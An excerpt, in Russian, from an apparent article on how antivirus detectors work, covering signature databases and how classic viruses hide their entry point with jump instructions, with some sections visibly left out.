    Думаю, не надо описывать вам компоненты современного антивируса, все они крутятся вокруг одного функционала – антивирусного детектора. Монитор, проверяющий файлы на лету, сканирование дисков, проверка почтовых вложений, карантин и запоминание уже проверенных файлов – все это обвязка основного детектирующего ядра. Второй ключевой компонент антивируса – пополняемые базы признаков, без которых поддержание антивируса в актуальном состоянии невозможно. Третий, достаточно важный, но заслуживающий отдельного цикла статей компонент – мониторинг системы на предмет подозрительной деятельности.

    Итак (рассматриваем классические вирусы), на входе имеем исполняемый файл и один из сотни тысяч потенциальных вирусов в нем. Давайте детектировать. Пусть это кусок исполняемого кода вируса:

    • сокрытие кода самого вируса;
    • сокрытие его точки входа.

    Сокрытие точки входа (Entry Point Obscuring) в результате послужило толчком для появления в вирусных движках автоматических дизассемблеров для определения, как минимум, инструкций перехода. Вирус старается скрыть место, с которого происходит переход на его код, используя из файла то, что в итоге приводит к переходу: JMP, CALL, RET всякие, таблицы адресов и т.п. Таким образом, вирус затрудняет указание смещения сигнатуры.

    Гораздо более подробно некоторые алгоритмы таких движков и детектора мы посмотрим во второй статье, которую я планирую написать в ближайшее время.

    Рассмотренный в статье детектор легко детектирует неполиморфные (мономорфными их назвать, что ли) вирусы. Ну а переход к полиморфным вирусам является отличным поводом, наконец, завершить эту статью, пообещав вернуться к более интересным методам сокрытия исполняемого кода во второй части.

    Читайте также: